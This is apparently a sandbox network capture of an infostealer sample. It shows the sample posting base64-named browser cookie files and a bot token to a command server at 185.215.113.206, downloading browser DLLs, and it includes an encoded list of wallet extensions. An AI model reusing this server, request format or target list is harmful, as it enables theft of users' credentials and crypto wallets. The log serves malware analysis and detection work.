TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 18:57:18.504832029 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBG Host: 185.215.113.206 Content-Length: 7835 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 18:57:18.504919052 CET	7835	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 18:57:19.610165119 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:19.938474894 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 18:57:20.389384031 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 18:57:20.389477015 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 20, 2024 18:57:20.393352032 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 20, 2024 18:57:20.393443108 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49764	185.215.113.206	80	7404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:57:29.565680027 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BKKJDBFBKKJEBFHJEHJD--
Nov 20, 2024 18:57:31.512593031 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:32.081229925 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="file"------HDHJEBFBFHJECAKFCAAK--
Nov 20, 2024 18:57:33.050050974 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49794	185.215.113.206	80	7404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:57:38.862346888 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGH Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIIDAKJDHJKFHIEBFCGH--
Nov 20, 2024 18:57:40.753324032 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:41.292911053 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file"------HDGCGHIJKEGIECBFCBAE--
Nov 20, 2024 18:57:42.274817944 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:42.932589054 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 18:57:43.390043020 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 18:57:43.390086889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 20, 2024 18:57:43.390099049 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 20, 2024 18:57:43.390117884 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 20, 2024 18:57:43.390130997 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 20, 2024 18:57:43.390326977 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 20, 2024 18:57:43.390346050 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 20, 2024 18:57:43.390357971 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 20, 2024 18:57:43.399039030 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 20, 2024 18:57:43.399137020 CET	1148	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 20, 2024 18:57:43.521733999 CET	1236	IN	Data Raw: c2 89 55 c8 8b 4d b0 31 d1 8b 55 80 31 f2 89 d6 0f a4 ce 10 89 75 b0 0f ac ca 10 89 55 80 8b 5d ec 01 d3 89 5d ec 8b 4d e0 11 f1 89 4d e0 31 c8 31 df 89 c1 0f a4 f9 01 89 4d 8c 0f a4 c7 01 89 7d a4 8b 7d d4 03 bd f4 fe ff ff 8b 45 cc 13 85 f8 fe Data Ascii: UM1U1uU]]MM11M}}E\|}EM1u1]]}}\|11U@]<U]11lMuuMM11U
Nov 20, 2024 18:57:45.062494040 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 18:57:45.517076969 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 18:57:46.456729889 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 18:57:46.920260906 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 18:57:47.629327059 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
